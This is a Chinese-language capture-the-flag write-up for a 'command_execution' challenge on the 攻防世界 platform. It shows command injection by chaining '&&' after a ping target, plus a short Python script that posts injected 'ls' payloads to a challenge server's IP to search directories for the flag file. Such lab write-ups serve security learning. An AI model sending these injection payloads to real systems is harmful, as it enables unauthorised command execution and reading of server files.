CTF 刷题记录(二) command_execution(攻防世界)

题目

CTF 刷题记录(二) command_execution(攻防世界)_第1张图片

解题分析

进入网站,先ping 127.0.0.1 如图:
CTF 刷题记录(二) command_execution(攻防世界)_第2张图片
证明输入的指令可以在服务器里运行,然后再试试ls这种基础命令,使用“&&”命令,如图:
CTF 刷题记录(二) command_execution(攻防世界)_第3张图片
也可以执行。
写一个查询flag文件的脚本

import requests

url = "http://220.249.52.133:30703/"

list = ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'run.sh', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var'] 

for i in list: 

    payload = {"target": "127.0.0.1&&ls ../../../%s" % i}  #查看源代码,发现输入框的id为“target”,在此模拟输入框的功能

    res = requests.post(url, data=payload).text

    if "flag" in res: 

        print("current: ", i)

        break

运行后输出:
CTF 刷题记录(二) command_execution(攻防世界)_第4张图片
linux系统中的home一般都在根目录下,先查看home目录下都有什么,如下:
CTF 刷题记录(二) command_execution(攻防世界)_第5张图片
只有一个文件flag.txt
使用cat命令查看其内容:
CTF 刷题记录(二) command_execution(攻防世界)_第6张图片
bingo !!!

你可能感兴趣的:(信息安全,CTF,python,安全)